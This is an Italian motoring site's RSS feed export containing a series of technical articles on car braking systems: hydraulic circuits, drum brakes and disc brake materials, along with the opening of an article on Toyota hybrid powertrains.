<p class="wp-block-paragraph">Se il conducente usa anche il cambio questo tipo di frenate non limita nemmeno il confort per gli occupanti. Del resto nelle competizioni non c&#8217;è vettura di ogni categoria e pilota che produce una frenata prima di una curva o una variante senza usare le marce per rallentare il veicolo, anche in F1 dove le frenate sono da 6G come a Monza. Infine se ci ci si trova su una discesa, &nbsp;a prescindere dalla pendenza, &nbsp;è inutile tenere il pedale del freno premuto per tutta la durata della discesa per tenere sotto controllo la velocità del veicolo. Meglio decidere di scendere con la marcia adeguata e pur consumando più carburante tenere la velocità costante con l&#8217;uso del motore, preservando l&#8217;impianto frenante per casi di emergenza. C&#8217;è una legge non scritta che funziona da sempre. Una discesa si affronta con la sessa marcia con la cui si è affrontata quando si è fatta la salita. Da sempre come dimostra il grafico a lato, frenare bene, e frenare sempre per tutto il percorso è una delle cose più importanti per un driver. Per accelerare una F1 servono 1000cv, per frenarla in modo efficacie servono almeno 3000cv. Nelle prossime trattazioni i sistemi di ausilio alla alla frenata.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>



<p class="wp-block-paragraph">&nbsp;</p>
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		<title>I Freni parte 3 &#124; I freni a disco composizione e materiali</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 15 Jan 2017 10:32:30 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Abbiamo parlato nelle due trattazione precedenti dell'impianto frenante e della sua composizione, e del freno a tamburo. E' arrivato il di parlare dell'altra tipologia quella dei freni a disco.</p>
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<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/AS018_1.jpg" alt="AS018_1" class="wp-image-65058" title="I Freni parte 3 | I freni a disco composizione e materiali 922"></figure>



<p class="wp-block-paragraph">Abbiamo parlato nelle due trattazione precedenti dell&#8217;impianto frenante e della sua composizione, e del freno a tamburo. E&#8217; arrivato il di parlare dell&#8217;altra tipologia quella dei freni a disco. Questo tipo di freni sono composti da un disco metallico che gira solidale alla ruota e da una pinza fissa che lo abbraccia. Il fissaggio del disco alla ruota può avvenire sul portamozzo, oppure ci sono soluzioni, usate nel passato recente dall&#8217;Alfa Romeo, in cui il disco veniva fissato internamente direttamente sul semiassi all&#8217;altezza del differenziale. La pinza freno è composta da due parti dette semipinze all&#8217;interno delle quali sono ricavati i cilindri idraulici che spingono i pattini o le pasticche come le si vogliono chiamare a mordere il disco per effetto della pressione sul pedale del freno da parte del conducente assicurando una medesima forza frenante su entrambi i lati del disco. Come abbiamo spiegato nella prima parte e ribadito nella seconda l&#8217;attrito che producono i pattini sul disco trasforma l&#8217;energia cinetica che accumula il veicolo in forza frenante.</p>



<figure class="wp-block-image"><img decoding="async" width="734" height="507" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/bremse_pia-17_434x300_w734.jpg" alt="bremse_pia-17_434x300_w734" class="wp-image-65059" title="I Freni parte 3 | I freni a disco composizione e materiali 923" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/01/bremse_pia-17_434x300_w734.jpg 734w, https://www.giornalemotori.com/wp-content/uploads/2017/01/bremse_pia-17_434x300_w734-300x207.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/01/bremse_pia-17_434x300_w734-696x481.jpg 696w" sizes="(max-width: 734px) 100vw, 734px" /></figure>



<p class="wp-block-paragraph">I pattini hanno una superficie definita, &nbsp;quando vanno a serrare il disco ne occupano solo una parte lasciando la restante a ruotare e quindi essendo investito dall&#8217;aria consente di avere un controllo della temperatura e dell&#8217;affaticamento nettamente migliore che con i freni a tamburo. Quando si lascia il pedale del freno i pattini tornano indietro per effetto della mancanza di pressione sui pistoncini, questo non avviene in modo istantaneo rimanendo &nbsp;per qualche secondo ancora a contatto soprattutto nelle condizioni di uso estremo. Uno dei vantaggi di questa condizione è che l&#8217;impianto rimane comunque più pronto con lo spazio tra il pattino e il disco ridotto al minimo in un uso intenso e continuativo. Spesso i piloti e collaudatori più esperti sanno che dopo una sessione di pista o stradale intensa, &nbsp;prima di arrestare il veicolo, &nbsp;devono fare un pezzo di strada o un giro di pista senza usare i freni per evitare che i freni rimangano con i pattini attaccati ai dischi per effetto del surriscaldamento delle due parti.</p>



<figure class="wp-block-image"><img decoding="async" width="415" height="334" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/Dischi-composti-flottanti-maggiorati.jpg" alt="Dischi-composti-flottanti-maggiorati" class="wp-image-65060" title="I Freni parte 3 | I freni a disco composizione e materiali 924" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/01/Dischi-composti-flottanti-maggiorati.jpg 415w, https://www.giornalemotori.com/wp-content/uploads/2017/01/Dischi-composti-flottanti-maggiorati-300x241.jpg 300w" sizes="(max-width: 415px) 100vw, 415px" /></figure>



<p class="wp-block-paragraph">Ormai anche su veicoli della fascia bassa del mercato, si istallano dischi freno con un sistema di raffreddamento composto da una serie di feritoie che permette l&#8217;ingresso dell&#8217;aria e per effetto delle elette interne al disco anche di dissipare il calore. In dischi più performanti sulla superficie esterna hanno la foratura. Il bordo dei &nbsp;fori serve per raschiare la pastiglia aumentandone la forza frenante, cosa che però comporta una usura precoce, ed inoltre allontanano più velocemente il velo d&#8217;acqua che si forma sulla superficie frenante durante la marcia sul bagnato. Questa soluzione è diffusa soprattutto nel campo moto. Nel campo auto invece si usa la baffatura. In pratica si ricavano sul disco dei canali che aiutano a rimuovere il materiale consumato ed i vapori dal pattino freno, in modo da evitare la vetrificazione, un indurimento del materiale del pattino che ne riduce l&#8217;attrito migliorando la forza frenante ma coma la foratura riduce in modo netto la durata del pattino.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/Brembo_F1-2014_Special_1202-15.png" alt="Brembo_F1 2014_Special_1202-15" class="wp-image-65061" title="I Freni parte 3 | I freni a disco composizione e materiali 925"></figure>



<p class="wp-block-paragraph">Come tutte le innovazioni più importanti per le autovetture per uso stradale, si è partiti dalla sperimentazione in Formula 1 ed i freni a disco non hanno fatto eccezione. Per uso stradale oggi si usano dischi freno di vario tipo di materiale come la ghisa, con una composizione con un tenore di carbonio variabile a seconda della destinazione di uso e della tipologia di veicolo a cui è destinato il disco. &nbsp;Nel campo moto si usa di rado al giorno d&#8217;oggi per il fatto che il ridotto spessore dei dischi potrebbe portare a crepe e rotture sotto stress. Al posto della ghisa si può usare l&#8217;acciaio &nbsp;dove la lega di carbonio viene legata con altri materiali per cambiarne le caratteristiche di base a seconda dell&#8217;utilizzo e del veicolo a cui è destinato. I dischi in acciaio con basse percentuali di altri materiali nella lega hanno necessità di un trattamento protettivo di zincatura per evitare di fare ruggine quando non usati. Ci sono invece dischi in acciaio con un alta percentuale di&nbsp;cromo molto usati per le moto per la capacità di non arrugginire quando non vengono usati.</p>



<p class="wp-block-paragraph">Le vetture moderne più prestazionali, le supercar per intenderci usano materiali per i dischi freno in Carbo-Ceramica. Ogni grande costruttore usa i suoi acronimi per identificarli e di solito vengono offerti in opzione recentemente anche per modelli di vetture più accessibili. &nbsp;Il disco in carbo-ceramica hanno una lega di Carburo di Silicio, con una struttura simile ai dischi in carbonio con le superfici caricate con silice. Questo consente ti avere un disco leggero come quello in carbonio pur conservando una superficie durissima che un migliore lavoro frenante da parte dei pattini anch&#8217;essi &nbsp;in materiale carbo-composito. Questo materiale migliora di netto il coefficiente di attrito riducendo drasticamente l&#8217;affaticamento.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/brembo-brake-by-wire-formula-1_6.jpg" alt="brembo-brake-by-wire-formula-1_6" class="wp-image-65063" title="I Freni parte 3 | I freni a disco composizione e materiali 926"></figure>



<p class="wp-block-paragraph">Infine soprattutto nelle competizioni ad ogni livello ormai, ci sono i dischi in Carbonio. &nbsp;Il motivo per cui non vengono utilizzati per uso stradale, sta nel fatto che per avere una efficienza nella forza frenante il disco deve avere temperature di esercizio molto alte, condizioni che si possono garantire con un uso intenso in gara, ma non per un uso stradale.<i>&nbsp;</i>L&#8217;uso del carbonio infatti garantisce un&nbsp;coefficiente di attrito maggiore all&#8217;aumentare della temperatura. La frenata avviene per la fusione delle pastiglie sul disco i cui pezzi di giunzione vengono letteralmente strappati durante la frenata. &nbsp;Basta guardare una gara di Formula 1 per vedere nuvole nere intense in condizioni di frenata al limite, o la polvere di carbonio che si solleva quando le pistole pneumatiche vanno ad intervenire sulla gomma in fase di cambio pneumatici. &nbsp;I freni con dischi in carbonio possono garantire forze frenanti con potenze maggiori di 3000cv, per lo sviluppo fino a 6G nella frenata che una Formula 1 effettua alla prima variante di Monza quando passa da 360m/h a quasi zero per effettuare la variante, il tutto per più di 50 giri. Nella prossima trattazione parleremo di pinze, pattini e di tutti i difetti che presenta un impianto frenante a disco e come provare a prevenirli.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>I freni parte II &#124; Impianto a tamburo, composizione e funzionamento</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 05 Jan 2017 08:58:49 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>In questa trattazione parleremo del primo tipo cioè dei freni a tamburo o ad espansione</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-64925" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-12-638-300x225.jpg" alt="corso-freni-12-638" width="300" height="225" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 927">Abbiamo parlato di come si compone un impianto frenante e di come trasforma l&#8217;energia cinetica che il veicolo accumula in marcia in attrito e calore per fermarsi. La parte terminale dell&#8217;impianto frenante,  quella a cui è demandata la parte attiva della frenata è composta in genere da due elementi, <em><strong>tamburi</strong></em> o dischi freno. In questa trattazione parleremo del primo tipo cioè dei freni a<strong><em> tamburo</em></strong> o ad espansione. Questo tipo di freni è composto da un tamburo collegato al mozzo ruota e da ganasce o ceppi montate su un piatto che viene fissato a sua volta ad un supporto anch&#8217;esso fissato al portamozzo della ruota.  La frenata avviene quando il conducente premendo il pedale del freno mette in pressione l&#8217;olio che spinge le ganasce a contatto con l&#8217;interno del tamburo. Le ganasce sono rivestite di un materiale d&#8217;attrito che può essere incollato o fissato mediante chiodatura. La spinta verso l&#8217;interno del tamburo avviene mediante l&#8217;azione di dispositivi meccanici o idraulici, questi ultimi sono anche i più diffusi. Il sistema a comando idraulico è formato da cilindri di comando dotati di due stantuffi contrapposti con all&#8217;estremità due steli detti anche puntini. In sostanza durante la frenata il liquido in pressione provoca l&#8217;allargamento degli stantuffi e questi a loro volta muovono i puntalini posti all&#8217;estremità che spingono le ganasce contro l&#8217;interno del tamburo per l&#8217;azione frenante. Quando il conducente toglie la pressione dal pedale del freno apposite molle di richiamo portano in posizione di riposo le ganasce.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-64927" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/schema16-1-300x237.jpg" alt="schema16" width="300" height="237" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 928">I sistemi di azionamento idraulico possono essere di diverso tipo. Il più semplice è quello tipo Simplex  in cui l’apertura delle ganasce è attuata dal puntale a cuneo opposto al punto ci calettamento delle ganasce. Poi c&#8217;è il tipo Duo—Duplex dove  le ganasce non hanno punti calettamento sul piatto portafreni, ma sono flottanti e vengono comandate da due puntali a cuneo diametralmente opposti. Il puntale a cuneo determina l’apertura delle ganasce quando, in avanzamento si inserisce fra i due pistoncini collegati ciascuno a una ganascia. Poi c&#8217;è il comando tipo a camma.  In questo caso l’apertura delle ganasce è attuata attraverso la rotazione di una camma detta anche perno ad oliva diametralmente opposta al punto di calettamento. Come si vede dalla foto l&#8217;azione frenante e diversa a seconda del sistema che utilizza per spingere le ganasce contro il tamburo. Nel sistema Simplex la spinta avviene sulla ganascia che si trova nel senso di marcia con quella opposta che spinge di meno. Nel sistema Uni-Servo o Duo-Servo si prova a bilanciare la forza frenante delle due ganasce con l&#8217;azione della gamma opposta al pistoncino. Come si vede dalla figura però il sistema più affidabile che consente di ottenere una forza frenante omogenea è il Duo-Duplex, con due pistoncini a doppio effetto che azionano entrambi i lati della ganascia.</p>
<p style="text-align: justify">
<img decoding="async" class="alignleft size-medium wp-image-64929" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-62-638-1-300x200.jpg" alt="corso-freni-62-638" width="300" height="200" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 929">Oggi sulle auto moderne non si usano più impianti di freni a tamburo sulle quattro ruote, di solito nelle vetture di fascia bassa del mercato si usano tamburi solo per l&#8217;assale posteriore. Visto la diffusione del freno a disco che spiegheremo nella prossima trattazione si pensa che la scelta sia dovuta alla maggiore forza frenante, ma non è così. I freni a tamburo possono raggiungere a parità di superfice frenante, livelli di decelerazione molto più alta rispetto a quella raggiungibile da un classico impianto a disco. In certi casi la forza frenante pura,  sempre a parità di superfici frenanti può anche essere tre o quattro volte quella di un freno a disco. In più altro punto a favore dei freni a tamburo è che quando le ganasce vengono a smettere la loro forza frenante nei primi istanti del disinnesco non hanno più nessun contatto con il tamburo mentre invece le pastiglie dei freni a disco rimangono leggermente premute sul disco, per effetto del fatto che le pinze dei freni lavorano con un azione di pressione sui pistoncini senza molle di richiamo ma solo per effetto della cessata pressione, quindi  minimo  rimane sulle pastiglie che rimangono premute sul disco per qualche secondo dopo che si è smessa l&#8217;azione frenante.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-64931" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-64-638-300x199.jpg" alt="corso-freni-64-638" width="300" height="199" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 930" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/01/corso-freni-64-638-300x199.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/01/corso-freni-64-638.jpg 622w" sizes="(max-width: 300px) 100vw, 300px" />Il motivo per cui nelle competizioni prima e nella produzione di serie dopo non si usano impianti a tamburo è dovuto al fenomeno del fading. I freni a tamburo per effetto della loro enorme forza frenante producono un calore eccessivo che non viene dissipato facilmente. Nonostante l&#8217;utilizzo di alette esterne il raffreddamento del tamburo e delle sue componenti non è mai ottimale, con la conseguenza che si avrebbe la maggiore forza frenante per minor tempo soprattutto su tratti di strada dove l&#8217;utilizzo è intenso e non da tempo all&#8217;impianto di riposare. Negli anni in cui questo sistema era in voga ed era in uso nella maggior parte delle vetture, i conducenti venivano abituati fin dalle prime armi alla guida ad usare anche le marce usando il freno motore per aiutare a non surriscaldare i tamburi. In sostanza il pregio della facilità di smaltimento del calore di un freno a disco supera di gran lunga i vantaggi in termini di forza frenante pura offerta dai freni a tamburo. Ad oggi ci sono sistemi a tamburo evoluti che usano anche le leghe leggere ma sono poco usati per costi eccessivi. In ogni caso il freno a tamburo è lungi dall&#8217;essere messo in soffitta, infatti nella stragrande maggioranza delle vetture piccole e compatte sono ancora largamente usati per l&#8217;asse posteriore, quello che deve sovrintendere ad una minore forza frenante per effetto del peso maggiore che grava sull&#8217;avantreno, consentendo anche di smaltire più facilmente il calore per evitare il fading.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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<a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/corso-freni-63-638/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-63-638-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="corso freni 63 638" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 931"></a>
<a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/corso-freni-67-638/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-67-638-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="corso freni 67 638" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 932"></a>
<a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/corso-freni-71-638/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-71-638-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="corso freni 71 638" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 933"></a>
<a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/freno_post_cj/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/Freno_post_cj-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="Freno post cj" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 934"></a>
<a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/freno-a-tamburo/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/freno-a-tamburo-150x150.gif" class="attachment-thumbnail size-thumbnail" alt="freno a tamburo" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 935"></a>
<a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/renault-capture-iconic-particolare-dei-freni-tamburo-posteriori/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/renault-capture-iconic-particolare-dei-freni-tamburo-posteriori-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="renault capture iconic particolare dei freni tamburo posteriori" title="I freni parte II | Impianto a tamburo, composizione e funzionamento 936"></a>
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		<title>I freni parte I, principi di funzionamento e composizione dell&#8217;impianto</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 30 Dec 2016 07:06:40 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
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					<description><![CDATA[<p>Tutti gli appassionati di motori, la prima cosa che fanno quando vanno a vedere le caratteristiche di un'auto o una moto, sono le prestazioni, l'accelerazione, la velocità.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/12/30/impianto-frenante/">I freni parte I, principi di funzionamento e composizione dell&#8217;impianto</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" width="460" height="312" src="https://www.giornalemotori.com/wp-content/uploads//2016/12/460x312_whatitis_brakes.jpg" alt="460x312_whatitis_brakes" class="wp-image-64846" title="I freni parte I, principi di funzionamento e composizione dell&#039;impianto 937" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/12/460x312_whatitis_brakes.jpg 460w, https://www.giornalemotori.com/wp-content/uploads/2016/12/460x312_whatitis_brakes-300x203.jpg 300w" sizes="(max-width: 460px) 100vw, 460px" /></figure>
</div>


<p class="wp-block-paragraph">Tutti gli appassionati di motori, la prima cosa che fanno quando vanno a vedere le caratteristiche di un&#8217;auto o una moto, sono le prestazioni, l&#8217;accelerazione, la velocità. In pochi pensano a quanto impiega un veicolo per fermarsi una volta raggiunta una data velocità. L&#8217;impianto frenante resta una delle componenti fondamentali per ogni veicolo, per la sicurezza di tutti gli occupanti. Sia in campo auto che moto, per frenare un veicolo viene trasformata l&#8217;energia che questo ha accumulato prendendo velocità, in attrito e colore mediante l&#8217;azione dei freni rallentando di fatto il mezzo. Spesso nelle nostre anteprime dei gran premi mostriamo la potenza frenante con i dati forniti da Brembo, che in talune condizioni per frenare una vettura da F1 impiegano anche 3000cv, mentre per accelerare a 300Km/h da fermo necessitano meno di 1000cv. Questa differenza indica l&#8217;importanza che hanno i freni, più di quanto possa essere percepibile dall&#8217;appassionato o dall&#8217;automobilista che usa la sua vettura quotidianamente.</p>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" width="450" height="218" src="https://www.giornalemotori.com/wp-content/uploads//2016/12/cilindro_maestro_2_pompa_it-data.gif" alt="cilindro_maestro_2_pompa_it-data" class="wp-image-64847" title="I freni parte I, principi di funzionamento e composizione dell&#039;impianto 938"></figure>
</div>


<p class="wp-block-paragraph">&nbsp;L&#8217;impianto frenante può essere classificato in meccanico, usato agli albori dell&#8217;automobile, idraulico ancora oggi in uso,&nbsp;aerodinamico che fa uso si appendici alari, usato dalle più recenti supercar ed ipercar, ed ancora elettrico &nbsp;sempre più in voga per effetto della diffusione delle vetture ibride ed elettriche, infine&nbsp;pneumatici in uso su veicoli di una certa stazza come autobus e autocarri. Partendo dalla descrizione di &nbsp;un circuito idraulico in questo sistema viene messo in pressione un liquido incomprimibile attraverso una pompa mediante l&#8217;azione del pilota sul comando a pedale. Oggi ci sono sistemi Wire Less in uso anche in F1 che usano il pedale come un interruttore o potenziometro non collegato meccanicamente al sistema. &nbsp;L&#8217;impianto frenante classico è composto da un serbatoio per l&#8217;olio, una pompa di comando, tubazioni composte da elementi rigidi collegati attraverso elementi flessibili e raccordi a &nbsp;tamburi con ganasce, oppure dischi con pinze e pattini per l&#8217;azione frenante vera e propria. Inoltre ci sono sistemi di controllo come correttori e regolatori di frenata, e di controllo dell&#8217;antibloccaggio delle ruote come l&#8217;ABS</p>



<p class="wp-block-paragraph">Secondo le norme di legge vigenti da molti anni ormai gli impianti frenanti hanno due circuiti separati che comandano le ruote di un automobile. In questo modo, &nbsp;che se dovesse esserci un&#8217;avaria, &nbsp;almeno due ruote incrociate sono ancora in condizioni di poter frenare il veicolo. Ricordiamo che questo sistema non è la salvezza assoluta in caso di guasto. Un conducente difficilmente si accorge del problema in anticipo, e quando andrà ad azionale il pedale del freno, avrà solo la metà della forza frenante con un bilanciamento approssimativo. Quindi sapere di avere un impianto sdoppiato non toglie al conducente l&#8217;incombenza di avere cura meticolosa per l&#8217;efficienza del proprio impianto frenante. Ci sono anche altri sistemi di sicurezza oggi obbligatori come l&#8217;ABS, ovvero il sistema che impedisce il bloccaggio dei freni che tratteremo sia per funzionamento che per utilizzo in seguito. &nbsp;La pompa frenante mette in pressione il liquido stipato in un serbatoio di solito ben visibile e trasparente nel vano motore. Il liquido presente nel serbatoio fa parte di un circuito sigillato, di conseguenza se cala il suo livello, può dipendere solo dall&#8217;usura degli elementi frenanti che modificando la loro posizione in funzione dello stato facendo scendere il livello del liquido. Se questo scende sotto un livello minimo i casi sono due, o si è giunti al limite di usura degli elementi frenanti o c&#8217;è un problema di perdita da qualche parte nell&#8217;impianto. &nbsp;In sostanza il liquido freni non deve essere mai rabboccato, il livello torna al massimo appena si cambiano le guarnizioni frenanti, &nbsp;diversamente c&#8217;è una perdita e va individuata immediatamente.</p>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2016/12/hydraulic-brakes-11-728.jpg" alt="hydraulic-brakes-11-728" class="wp-image-64849" title="I freni parte I, principi di funzionamento e composizione dell&#039;impianto 939"></figure>
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<p class="wp-block-paragraph">La pompa quindi mette in pressione il liquido che per effetto del fatto che è incomprimibile trasferisce il carico sugli elementi frenanti che faranno azione o sulle parti interne del tamburo, o esterne mordendo il disco freno. Ovviamente nei comandi meccanici, &nbsp;oggi ancora largamente diffusi, &nbsp;la pressione sul pedale determina anche quella sugli elementi frenanti. Per aumentare la forza frenante con un&nbsp; minore sforzo sul pedale da parte del conducente si usa un servofreno. Quello usato dalla maggioranza dei veicoli moderni è di tipo a depressione. Nel caso si tratti di un motore benzina o ciclo otto, il sistema utilizza la depressione fornita dal collettore di aspirazione, mentre per i motori diesel la depressione viene prodotta da una pompa di vuoto specifica. In sostanza quando il conducente aziona il pedale, il servofreno utilizzando la depressione di uno dei due sistemi sopracitati, amplifica la potenza, che può arrivare anche la doppio della forza impressa sul pedale. &nbsp;&nbsp;Il servofreno classico è formato da due camere, &nbsp;una anteriore ed una posteriore divise da una membrana elastica.</p>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2016/12/Servofreno_seccionado.jpg" alt="servofreno_seccionado" class="wp-image-64850" title="I freni parte I, principi di funzionamento e composizione dell&#039;impianto 940"></figure>
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<p class="wp-block-paragraph">Un tubo collega il servofreno al collettore o la pompa di vuoto, controllato da una valvola di non ritorno. Il servofreno viene collegato direttamente al pedale e su di esso viene anche montata la pompa. I più attenti monteranno allo spegnimento del motore, un netto indurimento del pedale del freno che torna ad essere direttamente collegato alla pompa senza ausilio intermedio. Ci sono sistemi che consentono di tenere un serbatoio di vuoto in modo da consentire almeno qualche frenata prima del netto indurimento del pedale del freno, che per inciso non perde ancora la sua efficacia, ma va solo azionato con maggiore veemenza per fermare il veicolo a motore spento. I più fortunati ricorderanno la forza che necessitava sulle vecchie utilitarie degli anni 50 e 60 per frenare l&#8217;auto quando non veniva usato il servofreno. Molti ricorderanno come una delle Icone delle supercar la Ferrari F40 per scelta non usava il servofreno, per la sua filosofia che la voleva vettura dura e pura sotto il controllo del pilota. Una scelta opinabile visto che il servofreno, ben tarato nella sua azione, consente di modulare più precisamente la frenata attraverso una dosaggio della forza frenante più preciso e costante.</p>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" width="500" height="500" src="https://www.giornalemotori.com/wp-content/uploads//2016/12/ctf-tubi-freno-aeronautici-_m.jpg" alt="ctf-tubi-freno-aeronautici-_m" class="wp-image-64851" title="I freni parte I, principi di funzionamento e composizione dell&#039;impianto 941" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/12/ctf-tubi-freno-aeronautici-_m.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2016/12/ctf-tubi-freno-aeronautici-_m-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2016/12/ctf-tubi-freno-aeronautici-_m-300x300.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></figure>
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<p class="wp-block-paragraph">L&#8217;impianto frenante idraulico, si basa sulla premessa che deve sfruttare l&#8217;azione di pressione su un liquido incomprimibile. Questo è formato da una olio particolare che utilizza degli additivi antischiuma con determinate caratteristiche ben definite. Per evitare fenomeni di affaticamento soprattutto per un uso intenso dell&#8217;impianto si deve evitare che si formino bolle di vapore per effetto dell&#8217;aumento della temperatura del liquido, &nbsp;quindi deve avere un elevato punto di ebollizione almeno a 260°C, inoltre deve avere una viscosità tale da funzionare bene anche alle basse temperature, e non deve avere elementi chimici al suo interno che possono danneggiare tubazioni e guarnizioni dell&#8217;impianto, infine deve aver anche capacità lubrificanti per facilitare il movimento delle guarnizioni e dei cilindretti per gli elementi frenanti veri e propri. A prescindere dal livello, &nbsp;anche se questo rimane costante nel tempo, &nbsp;per preservare le sue caratteristiche principali è sempre consigliabile una sostituzione completa del liquido almeno ogni due anni. Il liquido dei freni passa attraverso delle tubazioni. Queste sono molto complesse, formate da elementi rigidi, collegate agli elementi finali flessibili. Questi ultimi sono fondamentali soprattutto per la questione dell&#8217;affaticamento. La pressione del liquido dei freni tende ad allargare la sezione flessibile del tubo, questo porta ad una riduzione della forza frenante. La cosa diventa ancora più evidente quando l&#8217;impianto è sotto sforzo nelle condizioni di affaticamento. Questo fenomeno porta ad una riduzione della consistenza del pedale del freno, di dice che diventa spugnoso perdendo mordente, per evitare questa condizione si usano tubazioni particolari che resistono alla deformazioni per alte pressioni con il pedale del freno che rimane stabile e consistente senza perdere mordente sugli elementi finali come tamburi e dischi freno. Un controllo costante ed una sostituzione periodica delle tubazioni flessibili sono fondamentali per avere un impianto frenante nella massima efficienza, di solito le tubazioni sono gli elementi più sottovalutati erroneamente dell&#8217;impianto frenante.</p>



<p class="wp-block-paragraph">Nelle prossime sezioni parleremo in modo specifico di sistemi frenanti come freni a tamburo, freni a disco e le loro evoluzioni fino alle applicazioni estreme per le competizioni ad altissimo livello.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Toyota &#124; Continua l&#8217;evoluzione della propulsione ibrida per il costruttore giapponese</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 09 Dec 2016 07:51:25 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La Toyota è stata la prima a credere nelle power unit di tipo ibrido per la trazione delle vetture di serie, tanto da condizionare il mercato dell'auto ed anche il motorsport con le evoluzioni ibride delle motorizzazioni sia in Formula 1 che nel WEC dove la Toyota è protagonista.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/12/09/toyota-2/">Toyota | Continua l&#8217;evoluzione della propulsione ibrida per il costruttore giapponese</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-64622" src="https://www.giornalemotori.com/wp-content/uploads//2016/12/prius-tec-27-1-8l-2zr-fxe-engine-300x271.jpg" alt="prius-tec-27-1-8l-2zr-fxe-engine" width="300" height="271" title="Toyota | Continua l&#039;evoluzione della propulsione ibrida per il costruttore giapponese 942">La Toyota è stata la prima a credere nelle power unit di tipo ibrido per la trazione delle vetture di serie, tanto da condizionare il mercato dell&#8217;auto ed anche il motorsport con le evoluzioni ibride delle motorizzazioni sia in Formula 1 che nel WEC dove la Toyota è protagonista. Il costruttore giapponese ha deciso di accelerare lo sviluppo della prossima generazione di power unit ibride per i propri modelli a partire da quelli che arriveranno sul mercato dal 2017, un evoluzione graduale che si evolverà nei prossimi cinque anni. La Toyota prevede di avere modelli di motorizzazioni ibride composte da 10 varianti di powertrain abbinate a quattro tipologie di trasmissione. Per Toyota e Lexus si parla di una riduzione delle emissioni inquinanti del 15% medio per i modelli venduti sui principali mercati del mondo. 